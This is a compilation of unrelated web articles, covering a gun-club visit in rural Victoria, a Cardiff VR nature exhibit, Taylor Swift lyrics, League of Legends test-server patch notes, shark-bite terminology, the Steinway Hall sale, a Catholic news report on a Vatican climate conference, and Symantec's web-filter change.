-Guns n’ more guns 3  by Max Stainkamph | @maxstainkamph  It’s not an easy place to find. The sign is like any other on the highway from Shepparton to Benalla. It’s old, a bit rusty and that pale, faded off-white that just belongs in the country.  You hear the popping as you wind your way to the clubhouse. It’s a strange cross between throwing loose bits of gravel onto a corrugated iron roof and popcorn in the microwave. You can hear it from the road. As I turn in, a massive BOOM is let off.  I instinctively duck behind the wheel, and hit the brakes. I pause, breathing. I then realised the popping was rifle fire. The boom was something much bigger.  What have I got myself into? I ask myself as I drive up to the Shepparton branch of the Sporting Shooters Association of Australia (SSAA).  It’s not easy to get your hands on a gun in Victoria. To buy yourself one, you need a Gun License, and a License to Acquire a firearm – which is different for different types of guns.  If you want to try outside of this, you need to be at a registered gun club, like I am, or on private property.  All in all, it takes most people a few months to actually go from deciding they want a gun to getting one.  A gun license is difficult. There is a lot of mucking around with ensuring you have “genuine reasons” for wanting a gun, which range from sporting, to hunting to commercial.  These ‘reasons’ are thoroughly checked out, crossing with gun clubs and the type of license you are applying for. You need a medical test, fingerprints, an identification reference, attendance at a safety course and that weird 100-point ID system Victoria has.  28 days of twiddling your thumbs later, and your licence arrives.  To describe a License to Acquire is difficult. Basically, it needs a whole bunch of information from what sort of gun you’re after, a whole swathe of personal details and more complex details if you’re a collector or getting higher category guns.  Another 28 days pass, and your permit arrives.  All in all, it takes most people a few months to actually go from deciding they want a gun to getting one. Once you’ve got it, you need to store it in a safe, and ammunition in a separate safe. You need to have the keys to both safes on you at all times.  None of this is incredibly difficult to do, Shepparton SSAA range officer Andrew Gibb tells me. It’s just slightly irritating and very time consuming.  He also speaks about how safe shooting is. I nearly laugh at what appears to be an oxymoron, but he shows me.  “It’s not too hard, but I think [the restrictions] are like that for a reason,” he tells me. Andrew lives in town, and hasn’t had a gun license long. He says the change in the laws “definitely got rid of the rednecks and jokers from the sport.”  He also speaks about how safe shooting is. I nearly laugh at what appears to be an oxymoron, but he shows me. The range is sort of like a golf driving range. You aim your gun through a hoop which restrict its movement.  No-one loads their gun until it is in position, and then they shoot out into the range. After a while, the Range Officer takes out a big flag, hangs it up and declares the range closed. Then everyone heads out to have a look at how they did. They return, have a moment to ensure everyone is accounted for, and continue shooting.  Andrew doesn’t see a huge amount of appeal in hunting, although he has gone out – without luck – once or twice. He introduces me to Mal, who has done a lot of hunting in his native state of Tasmania, his new home of Victoria and big game hunting overseas. “I eat all I kill,” Mal says.  “I don’t believe in waste. I don’t like to shoot things I don’t eat.” He has wallabies in the freezer at home from his last trip to Tassie, and he tells me similarly to home-grown vegetables, the meat you’ve taken yourself tastes better than out of a butcher.  Andrew disagrees, saying he doesn’t like killing things for the sake of killing them, even for meat, but nearly all the game shot in Australia aren’t native. The only natives that do get shot are kangaroos, which can considered to be pests too.  “If a mob of roos come through it’ll ruin your crop,” Mal says. “They’ve just got to be taken care of sometimes.”  I want to ask him about the suffering animals go through when being shot, and if he thinks about when eating game, but pause. It seems like a stupid question. Do I think about the meat I eat and how it died?  John Howard is revered for two things by our generation: DJing like a mad cunt, and ridding Australia of guns.  I have more on my conscience. I don’t know if the animal I ate died well, or if it spent its life in a tiny paddock before being bustled into a crowded truck and then a blood-soaked abattoir. But, I don’t think about that. Mal’s wallabies were in their habitat, wild and carefree but not for those final seconds.  Young Australians have a peculiar relationship with guns – especially young city folk. We’re terrified of them. I’d never seen a gun held by someone who wasn’t a police officer or in the armed forces before. Most friends I’ve spoken to are the same.  During my time at the Shepparton SSAA, I continue flinching as some of the bigger rifles go off. It’s instinctive and I can’t help it. The sounds of unexpected gunshots are a sound of terror, projected through the scariest bits of the nightly news.  Every time anyone suggests loosening gun laws, like David Leyonhjelm – the Liberal Democrats Senator from NSW did in the wake of the Sydney siege – they get slammed.  John Howard is revered for two things by our generation: DJing like a mad cunt, and ridding Australia of guns.  We don’t shake our heads at America’s inability to rid itself of guns, but their lack of any basic controls over who can buy one.  A climate of fear has been built around guns as Australians decided they didn’t want them in their society. Any step in America’s direction in terms of gun control is now almost un-Australian.  In the country, it’s different. It’s just a culture thing. People don’t think about it. On the range, I meet a sixteen year-old. He has one of those big-arse BOOM guns. I ask him what got him into shooting, expecting him to point to his father behind him.  “All my friends are doing it,” he says. “I’ve been hunting for rabbits and foxes, but I’ve upgraded to a deer rifle.” He gestures to the one in his arms, “today’s the first time I’ve shot it.”  Guns are like the estranged lovechild of a chainsaw and a cricket bat. On one hand, they’re tools. They get used only on very specific occasions, for very specific jobs, and take care when using them.  But they also have a sporting edge; there is an art in what sort of gun you have and what it is for. A bolt rifle might be for clay targets at 100 yards, a bigger rifle for shooting 500 yards or more. But they’re spoken about in the same way cricketers speak about their bats.  It’s the first time the phrase “it’s not the gun, but the person behind the gun” has sounded rational.  And that was the thing that really stood out. I’m not entirely sure what I expected – but it certainly wasn’t to find an ordinary sporting club.  Guns are like the estranged lovechild of a chainsaw and a cricket bat.  They show me how the guns work, talk me through what ammunition is what, what different guns are used for, and give me a shot. I start off with a small bolt-action rifle, one of the ones making the popcorn noise as I arrived.  I shoot clay targets sitting on a mount. Once I figure out I’m a left-hand shooter, I find it more relaxing than archery or golf. You sit there, move the rifle a bit, take a shot and watch the clay target explode into a puff of clay on the odd occasion you hit.  Later in the day, when only Andrew and Brent, another range officer, are still around, Andrew pulls out a big gun, the sort of one that had me ducking for cover as I entered. It makes the one I used seem like a pea shooter.  He offers to let me try it. I line it up, bracing it on my shoulder.The gun I used before didn’t have kickback, but this one definitely did. It was like getting punched. The pile of dust kicked up – a mile from what I was aiming at – is huge.  My heart races and my ears ring. I decide to call it a day. The road is silent as I drive out. It’s the warm, faded sort of silence that just belongs in the country.
-Get the biggest What's On stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Visitors to Cardiff will be able to experience forest life through the eyes of the creatures who live there, thanks to a new virtual reality project.  In the Eyes of the Animal is a new free-to-use experience in the city's Bute Park that immerses users so fully they can see, hear and feel the natural habitat of woodland creatures.  Through the perspective of a mosquito, dragonfly, frog and owl, users are transported into a simulated version of their forest surroundings.  Users wear a virtual reality headset that is textured with bark and moss to reflect the natural environment and which gives them a 360° view of the forest floor and canopy when they move their heads.  A pack strapped on to backs enables them to feel the beating wings of a dragonfly and experience the forest in a unique way in an environment where nature meets technology.  Who is behind the project?  In the Eyes of the Animal was created by Marshmallow Laser Feast (MLF) who are pioneers in the virtual-meets-real-world arena and the project is a partnership between Cardiff City Council, Migrations and RSPB Cymru.  They were also behind last year's hugely successful spider's web which saw more than 10,000 visitors crawl through the hanging art work in Bute Park that was made entirely out of sticky tape.  How does it work?  In the Eyes of the Animal is filmed using unmanned aerial vehicles (UAVs) and bespoke 360º cameras, and set to a binaural soundtrack using audio recordings sourced from the forest.  Via sculptural virtual reality headsets, users enter an environment where nature and technology collide and where they gave a unique insight into a simulated forest world.  Do I need a ticket?  No tickets are required and the experience is free to use. Four people will be able to use the headsets at any one time and there will be other organised park activities available for you while you wait.  When is it open?  In the Eyes of the Animal is open from July 15 to August 4 and from 8am to 7pm daily. If it's raining, it will not be open.  It is not suitable for children under five and children under 13 must be accompanied by a parent or guardian. The virtual reality section lasts 10 minutes but allow around 30 minutes for the experience in total.
-Share On more Share On more  Gunnar Pippel / Getty Images  1. "My mind forgets to remind me that you're a bad idea." - "Sparks Fly" 2. "You searched the world for something else to make you feel like what we had." - "Wonderland" 3. "You call me up again just to break me like a promise, so casually cruel in the name of being honest." - "All Too Well" 4. "I can't say hello to you and risk another goodbye." - "I Almost Do." 5. "The flowers that we'd grown together died of thirst." - "Clean" 6. "Time won't fly, it's like I'm paralyzed by it." - "All Too Well" 7. "When I was drowning, that's when I could finally breathe." - "Clean" 8. "People are people and sometimes we change our minds." - "Breathe"  Fesus Robert / Getty Images  9. "I don't know how to be something you miss." - "Last Kiss" 10. "All we are is skin and bone, trained to get along." - "Treacherous" 11. "You're still all over me like a wine-stained dress I can't wear any more." - "Clean" 12. "What a rainy ending given to a perfect day." - "Cold As You" 13. "Words, how little they mean, when you're a little too late." - "Sad Beautiful Tragic" 14. "Today is never too late to be brand new." - "Innocent" 15. "You wear your best apology, but I was there to watch you leave." - "The Last Time" 16. "Faster than the wind, passionate as sin." - "Red"  Andrea Carolina Sanchez Gonzalez / Getty Images  17. "You come away with a great little story, of a mess of a dreamer with the nerve to adore you." - "Cold As You" 18. "When you're young, you just run, but you come back to what you need." - "This Love" 19. "I can't decide if it's a choice, getting swept away." - "Treacherous" 20. "We learn to live with the pain, mosaic broken hearts." - "State of Grace' 21. "It turns out freedom ain't nothing but missing you." - "Back To December" 22. "The way you move is like a full-on rainstorm." - "Sparks Fly" 23. "I'll watch your life in pictures like I used to watch you sleep." - "Last Kiss" 24. "Maybe this thing was a masterpiece until you tore it all up." - "All Too Well" 25. "We were built to fall apart and fall back together." - "Out of the Woods" 26. "My thoughts will echo your name until I see you again." - "Enchanted" 27. "You made a rebel of a careless man's careful daughter" - "Mine" 28. "We need love but all we want is danger." - "New Romantics" 29. "You've got your demons and darling they all look like me." - "Sad Beautiful Tragic"  Ingram Publishing / Getty Images  30. "Your eyes looked like coming home." - "Everything Has Changed" 31. "The story's got dust on every page." - "Holy Ground" 32. "Someday when you leave me, I bet these memories follow you around." - "Wildest Dreams" 33. "We're happy, free, confused, and lonely at the same time." - "22" 34. "I lived in your chess game but you changed the rules every day." - "Dear John" 35. "He's the only one who's got enough of me to break my heart." - "Teardrops on my Guitar" 36. "Untouchable like a distant diamond sky." - "Untouchable" 37. "Don't you dream impossible things?" - "Starlight"  J_w_p / Getty Images
-New Skins  Heartseeker Varus  1350 RP  Here's Galetta with a Heartseeker Varus!  "Love wounds and inflames the heart! Love is in the air as Heartseeker Varus flutters onto the PBE! Surrender to love or feel the sting of his arrow! This skin includes: New model and texture! With the addition of white angelic wings!  With the addition of white angelic wings! New particles! Hearts! Glitter! Pink ribbons! Rose petals!  Hearts! Glitter! Pink ribbons! Rose petals! New recall animation!  New SFX on his spells and his recall! This skin will be 1350rp!  Your feedback and bug reports are extremely helpful to us, so please check out Heartseeker Varus and let us know what you think! Feel free to drop any bugs you find in this thread as well! See you on the Rift! Note: The SFX are still a work in progress so some spells may not have the updated sounds!" Note: Heartseeker Varus also now uses the  Here'swith a bugs and feedback thread forNote:also now uses the same voiceover as Arclight Varus , which takes away the extra filter effects of his base voiceover.  Marauder Ashe  750 RP  [Video outdated as of 1/28]  Marauder Warwick  750 RP [Video outdated as of 1/28]  KateyKhaos with a Marauder Ashe and Marauder Warwick! Here'swith a bugs and feedback thread forand "NOTE: 1/27: We're aware of an issue where Marauder Warwick's VO isn't playing. We're working on a fix! Victory by destruction! Decimate any enemy who gets in your way on the Rift with Marauder Ashe and Marauder Warwick! Marauder Ashe and will be Marauder Warwick 750 RP each and include:  All new model and texture (complete with shiny new armor)! Marauder Ashe and Marauder Warwick are now available to play on PBE! We always find bug reports and feedback super helpful, so feel free to comment in the thread below! Likewise, if you've got any questions, post 'em here, and we'll do our best to answer them!"  Warden Nautilus  750 RP [Video outdated as of 1/28]  Warden Sivir  750 RP  New Summoner Icons  New Ward Skin Riot has also added a new Heartseeker Ward skin!  Heartseeker Ward 640 RP  Here's Riot KateyKhaos with aHeartseeker Ward!  "See your enemy's love (or gank) coming from a mile away with the Heartseeker Ward! The Heartseeker Ward is 640 RP each and includes: All new model and texture !  ! New particles ! (Oooh, pink sparkles!)  ! (Oooh, pink sparkles!) New animations !  ! New sounds! The Heartseeker Ward is now available to play on PBE! We always find bug reports and feedback super helpful, so feel free to comment in the thread below! Likewise, if you've got any questions, post 'em here, and we'll do our test to answer them!" Here'swith a bugs and feedback thread for the  Symbols added to Summoner's Rift  A set of strange symbols have been added various places on Summoner's Rift.  Texture Rebalances  Kennen  Deadly Kennen  Swamp Master Kennen  Karate Kennen  Kennen M. D.  Arctic Ops Kennen  Infernal Mordekaiser  Lord Mordekaiser  Veigar  White Mage Veigar  Curling Veigar  Veigar Greybeard  Leprechaun Veigar  Baron Von Veigar  Superb Villian Veigar  Fiddlesticks  Spectral Fiddlesticks  Union Jack Fiddlesticks  Bandito Fiddlesticks  Pumpkinhead Fiddlesticks  Fiddle Me Timbers  Surprise Party Fiddlesticks  Here's a video compare for the Fiddlesticks texture update and his skins:  Incoming Update for Match History in the Client  MattEnth  "Hey everyone,  Last year, we introduced Match History to the web and soon we’re bringing a good chunk of that functionality to the client. While the web experience will remain the place to go for shareable (show-offable?) links, runes, masteries and item build orders, we’re bringing the lion’s share of Match History to the client:  20 viewable matches, up from the previous 10  A more complete scoreboard that now shows trinket, creep score, and total kill and gold breakdowns per team  Match timelines with timestamped neutral objectives, tower falls, and kills  Gold advantage graphs  Kill maps that show the location of each and every kill for each player This update shifts what types of matches will show up in the client. As a reminder, we believe competitive matches should be open information, so everyone’s ranked games (even Bjergsen 's) will be up for analysis through Match History. Your less tryhard normal queue matches will only be viewable by you and your friends, just like Match History on the web  We still have a few minor changes to make before going to live and don’t expect this to make it into 5.3. We just wanted to put it on the PBE early to hear your thoughts.  MattEnth "  Camera Lock Mode Option  Fixed Offsetvs Per-Side Offseton Blue  Fixed Offset vs Per-Side Offset on Red  In the set of screenshots above, my character is standing in the same place but notice the "Fixed Offset" option has them centered (how it works now) and the "Per-Side Offset" shifts the camera slightly depending on which side you are on.  Battle Boosts up for testing in Nemesis Draft on PBE  L4T3NCY  "Heya guys,  For our upcoming Featured Game Mode, Nemesis Draft, we're looking to re-activate 'Battle Boosts' which saw their first outing back in One For All: Mirror Mode.For those of you who might not remember, Battle Boosts let you temporarily unlock all currently available skins for yourself and your allies. The purchaser of a Battle Boost will now also get a one game 200 IP boost, while the rest of the team receives a 100 IP boost.  For testing purposes on the PBE, we've left the price at 1RP. When Nemesis Draft goes live, Battle Boosts will be available for 125RP (down from the original OFA:MM price of 150RP). Of course, on PBE, everyone has almost everything unlocked already, so the impact will certainly feel diluted, but we're looking to catch any bugs before we roll it out.  Feedback welcome on both this version of Battle Boosts or other features you'd like to see added!"  Friends List Improvements  Miscellaneous  The default ward skin now has a spawn animation - it "wiggles" when you put it down! Thedefault wards, that were originally added in the The new spawn and death animations for thewards, that were originally added in the 1/29 PBE update , have been removed.  Balance Changes * Remember *: The PBE is a testing grounds for new, tentative, and sometimes radical changes. The changes you see below may be lacking context or other accompanying changes that didn't make it in - don't freak out! These are not official notes.  * Remember *: The PBE is a testing grounds for new, tentative, and sometimes radical changes. The changes you see below may be lacking context or other accompanying changes that didn't make it in - don't freak out! These areofficial notes.  Champions Ahri  Orb of Deception (Q) mana cost increased to 60/70/80/90/100 from 55/60/65/70/75  Orb of Deception (Q ) mana cost [lowered] to 65/70/75/80/85 from 60/70/80/90/100  ) mana cost [lowered] to 65/70/75/80/85 from 60/70/80/90/100 [ Note : This is still a change vs her current live value, which is 55/60/65/70/75 mana ]  : This is still a change vs her current live value, which is 55/60/65/70/75 mana ] Fox Fire (W) damage decreased to 40/65/90/115/140 from 50/80/110/140/170  damage decreased to 40/65/90/115/140 from 50/80/110/140/170 Fox Fire (W) cooldown lowered to 8/7/6/5/4 from 9/8/7/6/5 [Reverted]  [Reverted] Fox Fire (W) Range decreased to 600 from 750.  Azir  Base AD increased to 52 from 49  increased to 52 from 49 [Soldier autoattack range reduced to 325 from 400 ]  reduced to 325 from 400 Conquering Sands ( Q ) damage lowered to 65/85/105/125/145 from 75/105/135/165/195  damage lowered to 65/85/105/125/145 from 75/105/135/165/195 Arise (W) damage to towers lowered to 60+10 per level (+.4 AP) from 90 +15 per level (+.6 AP)  Diana  Moonsilver Blade (passive) now has an buff bar indicator Pale Cascade (W) [now spins around Diana much faster]  Gnar  The time in which you can not gain rage after transforming from Mega to Mini increased to 15 seconds from 13 seconds.  [ Total transform time reduced? While the tooltip on live says "15 seconds" is actually lasting around ~20 seconds. This has been reduced down to ~15 seconds on PBE.]  Gragas  Barrel Roll (Q) movement speed slow increased to 40/45/50/55/60% from 30/35/40/45/50%  Kassadin  Null Sphere (Q) damage reduced to 70/95/120/145/170 from 80/105/130/155/180  damage reduced to 70/95/120/145/170 from 80/105/130/155/180 Nether Blade (W ) passive damage changed to 10/15/20/25/30 from 20 at all ranks  Kennen  Electrical Surge ( W ) tool tip now includes it can be used on targets "caught in Slicing Maelstrom or afflicted by Mark of the Storm" rather than just afflicted by MotS  Sona  Base HP increased to 497.6 from 482.36  increased to 497.6 from 482.36 HP Per Level decreased to 70 from 77  decreased to 70 from 77 Base attack damage increased to 52.04 from 50.04  increased to 52.04 from 50.04 Movement Speed increased to 330 from 325  increased to 330 from 325 Base mana regen reduced to 1.6184 from 1.8  reduced to 1.6184 from 1.8 Mana regen per second per level increased .13 from .08  Varus  Chain of Corruption (R) missile width increased to 120 from 100.  Zyra  [Tooltip] Deadly Bloom (Q) now notes Thorn Spitter has 750 range. [Tooltip] Grasping Roots (E) now notes Vine Laster has 400 range. To go along with this, her plants now also show a range indicator! Zyra and her allies can see them, enemies can NOT see them.  Items Greater Stealth Totem  Now has charges and stores a charge of every 60 seconds, up to a total of two.  [Rengar's Bonetooth Necklace variant has also been updated to include this effect. Upgrades at 20 trophies.]  Farsight Orb  Tooltip update to includes "Also places a visible ward in the area that lasts 60 seconds." This ward has 1 HP and takes 1 hit to kill. [Note: This change does not seem to be functioning in-game yet! They did add a new icon for the Farsight Orb's ward though.]  This change is now hooked up and working on the PBE!  Oracle's Lens  Upgrade Price reduced to 250 from 475  Spectre's Cowl  Unique Passive changed to 150% base HP regen for up to 10 seconds after taking damage from an enemy champion from 100%  To kick off the 5.3 PBE cycle we have total of five new skins, including the lovely, Marauder skins for, and Inquisitor skins forandToday's update includes a new summoner icon to go along with our other upcoming Valentine's Day themed content,and Sweetheart Annie We also have two new summoner icons featuring a masked Teemo! No details yet but these icons heavily resemble the Masquerade icons we saw last year We also have a new Ziggs themed summoner icon, likely for the upcomingmode.There are a total of five of them placed around the map - one near mid, two at top and bottom.They also light up! When mousing over them, they emit a little swirl of light, grows bright, then fades away.Going away then back will make it just sort of simmer, leaving it less bright then the first time.After that it just fades back to no glow until you come back around it.Here's a video of the symbols lighting up in spectator mode.Uncertain what they are for. I can not get them to trigger in-game organically, only in spectator mode. If you walk beside one in game and switch your environment settings around, they will trigger and stay on (although this is probably not intended).The files are named "MM_". There is also a reference to "Bard_Symbol",Here's a preview video for thetexture rebalances:Here's a video compare for thetexture update and his skins:No texture rebalances fororNo texture rebalances forHere's with info on the update to Match History in the client:Here's a look at the update, which allows you to click into each match within the client:There also a new "" in the option menu.This change is only when you play with your cameraor when you recenter your camera using the space bar.Here are some examples of the "" vs "" on each side:Here'swith information on the return of, which will available for the upcomingfeatured game mode:: As of the 2/4 PBE Update, these have been.]When you hover over a friend on your friend list or in a chat room, there is now a pop up window that tells you their current status, their last played champion, and "playstyle".The "" option has been split into mouse and keyboard options.The HUD files were updated to include a music note and a crossed out music note. They don't appear to be enabled anywhere in-game yet. [UPDATE: These are for's Q sound effects, which are bugged on live/5.2, have been fixed.
-The phrase "shark attack" is sensationalist and damaging – bites by sharks are often investigatory or defensive  I HAVE seen a shark attack, and it is dramatic. On a recent trip to Cape Town, South Africa, I watched great whites breaching from beneath seals in successful and unsuccessful predations. These are attempts to kill. Shark predations on seals are attacks, because the intent is clear.  However, to suggest that shark-on-human encounters should be called predations would be wrong. The way sharks encounter seals is fundamentally different from how they treat humans.  I believe the time is right for science to reconsider its use of the phrase “shark attack” on humans. Such language creates a one-dimensional perception of these events and makes protecting threatened shark species more difficult. After all, why care about an animal that wants to eat us?  Historically, the language has been less emotive. Cases of “shark bite” were noted by doctors in 1899 and “shark accident” was an accepted term until the 1930s, even if it was fatal.  Advertisement  This faded when Australian surgeon Victor Coppleson concluded in a 1933 article in the Medical Journal of Australia that “the evidence sharks will attack man is complete”. The first New Orleans Shark Symposium in 1958 cemented “attack” language in the scientific community.  The argument for change is compelling. Modern research has shown that bites by sharks are often investigatory or defensive, taking place in cloudy water and out of curiosity.  Human-shark encounters are always called attacks even when there is no contact, artificially amplifying the numbers. What’s more, no distinction is made for minor bites from non-threatening species. In Australia, 13 per cent of all “attacks” come from small wobbegong sharks, which bite when stepped on. Under the existing system, the public is unable to tell scratches from fatalities, boats from people or wobbegongs from great whites.  Finally, “attack” terminology creates an inappropriate connection between scientific reasoning and tabloid journalism. If there is no separation between science and sensationalism, then educating the public about true shark behaviour is more difficult.  Changing terminology is not simple. I use the phrase “shark bite incidents” but the transition cannot be unilateral. This norm-setting task is the responsibility of the whole scientific community.
-The $195 million deal contains a provision for Steinway to pack up the pianos and move out if the buyer — who has not been identified — or Steinway itself gave 12 months’ notice. “There’s a chance we’d stay and a chance we won’t,” Ms. Theriault said. “It’s potentially our decision, but it’s potentially the buyer’s.”  Steinway, which owns the building but not the land beneath it, said its share of the sale would total $56 million. But the company said $20 million would go into escrow for as long as it remained in the building. Mr. Sweeney, the chief executive, did not say how long that might be or how much rent Steinway would have to pay if it stayed on.  At one time or another, the building housed offices of the New York Philharmonic, Columbia Artists Management and Musical America magazine. In the 1990s, the nameplate above the large front window was replaced with one that said “The Economist” when the British magazine became a tenant. The Economist moved out in 2010.  Photo  For many New Yorkers, it was the showroom that was, and is, captivating. Dr. JoAnn Difede, a psychologist on the faculty of Weill Cornell Medical College, rented an upright piano there several years ago — a Boston, one of Steinway’s two lower-priced brands. Her son Hal Rives showed promise, she said. After six months of renting, they bought it. And last summer Hal, now 14, took a teenage friend who was visiting from Los Angeles to Steinway Hall.  “They went and played the pianos for an hour until someone threw them out,” she said. “It’s an icon. It may not be up there with the Apple store in touristy, but it gets some people there. And it’s a similar concept, the design of a perfect product and the place in which they’re selling it.  “That’s what Steve Jobs understood better than anybody in modern corporate America, and that Steinway got right. The environment in which it’s sold matters.”  But it is an environment on a block that is changing. There was a time when its stretch of West 57th Street “evoked comparison to the elegant Rue de la Paix in Paris,” in the words of the Landmarks Preservation Commission. But now a 1,004-foot-high tower is going up a few doors away from the Steinway building.  Advertisement Continue reading the main story  That new structure, known as One57, will be one of the city’s tallest. Its prices are high, too: Two duplexes are said to be under contract for more than $90 million apiece. And it was the scene of high drama during Hurricane Sandy when a construction crane snapped and dangled over the street.  Photo  The Steinway building, designated a city landmark in 2001, opened in October 1925 with a performance by 35 players from the New York Philharmonic. In the invitation-only audience, The New York Times reported, were “more persons of note in society and music, perhaps, than New York’s greatest concert halls often shelter in a day.” Among them were the composer Sergei Rachmaninoff; George Eastman, the founder of Eastman Kodak; the mining mogul and art collector Solomon R. Guggenheim; and John D. Rockefeller Jr.  Over the years, generations of piano teachers scheduled recitals in the rotunda, with its 60-foot-high domed ceiling and elaborate marble columns, and generations of beginners labored through Beethoven’s “Für Elise” or Chopin’s “Minute” Waltz. And the basement, a workaday space with factory-style fluorescent lights, became a haunt for famous pianists with a recital or a concert on the calendar. There they could choose from among the instruments in Steinway’s concert fleet, a bank of pianos that could be delivered to concert halls or recording studios.  Rachmaninoff was introduced, so the story goes, to Vladimir Horowitz in the basement in the 1920s. After they worked their way through Rachmaninoff’s Concerto No. 3, Rachmaninoff is said to have declared, “That’s the way it should be played.”  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  Steinway occupied four floors and the basement when the building was new. But in the 1950s, the company moved most of its administrative operations to its factory in Astoria, Queens. In 1958, it became a tenant in its own building, which it sold to the Manhattan Life Insurance Company. Steinway bought back the building in 1999 for $62 million.  Virginia Gambale, a technology strategist from Greenwich, Conn., said she remembered when she first saw the Steinway building. It was in 1970. She was a 10-year-old pianist who arrived to play in a competition there.  She also remembered the first time her 8-year-old daughter, Olivia, saw the Steinway building. It was last spring, for a piano recital. “She knew the story of Mommy,” Ms. Gambale said. “I was so excited, and so was she. You couldn’t put this same experience in a different building. You stand there and you look at the columns. You look at the architecture. In a regular modern building, it would not have the same experience.”
-NewsCatholic Church  ROME, February 26, 2016 (LifeSiteNews) -- Bishop Athanasius Schneider, a prelate known for his outspoken defense of the Catholic faith, is raising concern about a recent Vatican conference that focused on how to help children become “agents of change” in the fight against “man-made climate change.”  Titled “Children and Sustainable Development: A Challenge for Education,” the conference took place last November under the auspieces of the Pontifical Academy of Sciences (PAS), whose chancellor is Archbishop Marcelo Sánchez Sorondo.  Among the most controversial presenters was UN advisor Jeffrey Sachs, who has called for the birth rate in Africa to be drastically reduced through government programs aimed at increased use of contraception, and who has championed abortion as a way to reduce fertility. The Vatican also partnered with Sachs last April, asking him to moderate and co-host a conference on climate change.  Bishop Schneider, who is auxiliary bishop of Astana, Kazakhstan, said that faithful Catholics should be shocked that “enemies of the Catholic Faith” are involved in such a conference.  “One can realize here with shock the extent to which the declared enemies of the Catholic Faith are given scope for their activities at such an event in the Vatican. One has to protest against it. With the help of these speakers whose publications clearly oppose the Faith, the Faith itself and the natural moral law are being mocked in a subtle way.”  “God does not allow His Being mocked. At some point, He will intervene and one has to have compassion with those persons who are responsible for such a conference because they will one day answer for this before the Judgment Seat of God.”  “People who at such a conference sell the Holy Faith so cheaply – also when they are priests or bishops – should not forget this warning of Holy Scripture: ‘It is terrible to fall into the hands of the Living God’ (Hebrews 10:31). We have to wish it for those so-called Catholics, priests and bishops, and say: ‘Convert from your hearts to Our Lord, as long as there is time left!’” he said.  The event’s honorary President was Mrs. Courtney Sale Ross, founder of the Ross School in East Hampton, New York, and widow of Steve Ross, the owner of Hollywood's Warner Brothers Studios and also the founder of the promiscuity-laden music channel MTV. A number of Ross School students made presentations at the conference, in particular on climate change.  One Ross student made the case that world leaders should tap into students from private upperclass schools and “use them as agents of change” because they’ve had a “better” life and education.  “[They should] ask them to use what they’ve had in their life to make other people’s lives better,” the student said.  The conference’s final declaration notes the importance of turning young people into “agents of change” regarding the fight against climate change.  “Children and teenagers are not just recipients of knowledge: they must be inspired to act in their local contexts, and design sustainability initiatives in their schools and communities,” the document states.  Turning the traditional order upside down, where adults are the formative teachers of the young, the document continues: “Youth can encourage change through constructive interaction not only with other young people, but by positively influencing adults. Social media and social networks can be an asset. The education and empowerment of girls is essential to serve as agents of change.”  A connection is purportedly established in the document’s conclusion between environmental issues and moral and social issues. Educators are urged to stress to students “connections and mental habits that are open and flexible, fostering new thinking models that erode a tendency toward fixed beliefs.”  When LifeSiteNews reached out to the Director of the Holy See Press Office, Father Federico Lombardi, to ask about Pope Francis' own position on the use of children as “agents of change,” no response was given. Archbishop Sànchez Sorondo also did not respond to LifeSiteNews' request for comment.  See related stories:  Indur Goklany: The great carbon boom  Amazing video: Ted Cruz demolishes Sierra Club president on Climate Change  Vatican bishop: Pope’s view on global warming is as authoritative as the condemnation of abortion  Laudato Si’ ignores real gains for the environment and the poor  Why the Catholic Church should be opposing the Paris climate agreement  African bishops beware: Here comes ‘sustainable development’  Are the UN’s sustainable development goals about eliminating poverty – or children?  Vatican endorsement of UN development goals threatens unborn children  Maurice Strong, father of the globalist eco-control movement, dies
-SAN JOSE — A popular online safe-search filter is ending its practice of blocking links to mainstream gay and lesbian advocacy groups for users hoping to avoid obscene sites.  For several years, top Web-filtering services have been resolving a security over-reach that conflated gay rights websites with child porn, blocking both from web surfers using safe-search software. Now Symantec, one of a handful of key players in the content-filtering market, is joining the push.  Online security firm Symantec told The Associated Press that while customers can still set their search to block offensive websites, there will no longer be an option to block websites just because they relate to sexual orientation.  “Making this change was not only the right thing to do, it was a good business decision,” said Fran Rosch, executive vice president, Norton Business Unit, Symantec in a Tuesday announcement. “Having a category in place that could be used to filter out all LGBT-oriented sites was inconsistent with Symantec’s values and the mission of our software.”  Symantec’s shift, which came after customers at an Au Bon Pain cafe and bakery blogged in January that the free Wi-Fi was blocking access to advocacy groups, is the latest in a series of Internet-filter revamps prompted after frustrated Web searchers found human rights campaigns and gay advocacy groups were being grouped together with child porn sites by some Web-content monitors, which then prevented users from clicking on them.  Internet filters are mandatory in most public schools and libraries, and they are frequently used as well by anyone offering Wi-Fi, from airports to cafes. They can limit students and patrons from browsing obscene or inappropriate content. But many of those filters have blocked appropriate and important content.  In 2011, the American Civil Liberties Union launched a “Don’t Filter Me” campaign specifically aimed at getting public schools to allow students to look at non-sexual websites about LGBT issues and organizations. ACLU attorney Joshua Block said that at the time, they had “a gazillion complaints” about Internet filters, but in recent months, as many software firms have revised their systems, they’ve heard few grievances.  “Symantec is a little bit behind the curve on this,” said Block, who helped lead that campaign. “Most of the leading Internet-filtering companies have already eliminated these sorts of filters from their own systems.”  Analyst Bryan Fischer at the conservative American Family Association said some people consider websites advocating gay rights as dangerous propaganda and should be allowed to block them.  “Symantec is simply wrong to deny their customers this option,” he said.  GLAAD, a lesbian, gay, bisexual and transgender media advocacy organization, along with The Trevor Project, a youth suicide prevention program, were among those that until now were blocked by Symantec’s software, and they are still blocked by several major systems.  GLAAD CEO Sarah Kate Ellis said the change shows that “Symantec gets it.”  “It’s time that our software reflects our values, and that means filtering out discrimination,” she said Monday in advance of the announcement.  Web-filtering systems, including McAfee, Blue Coat, Websense and Netsweeper, divide millions of Web addresses into categories like nudity, marijuana, cults or war games and then allow the network owner to select what categories they want blocked from their systems.  Symantec’s Web-content database, which is used by its Web-content filtering and parental-control programs, dates to 1996 and is one of the largest in the industry, including billions of Web pages from around the world.  Symantec, the fourth-largest software company in the world, said the lifestyle-sexual orientation category has been removed from its databases, but that it’s still being implemented in some products. The Mountain View, California-based firm said it’s also taking a broader look at all of the categories in this database, and it will be eliminating any others that are similarly outdated.
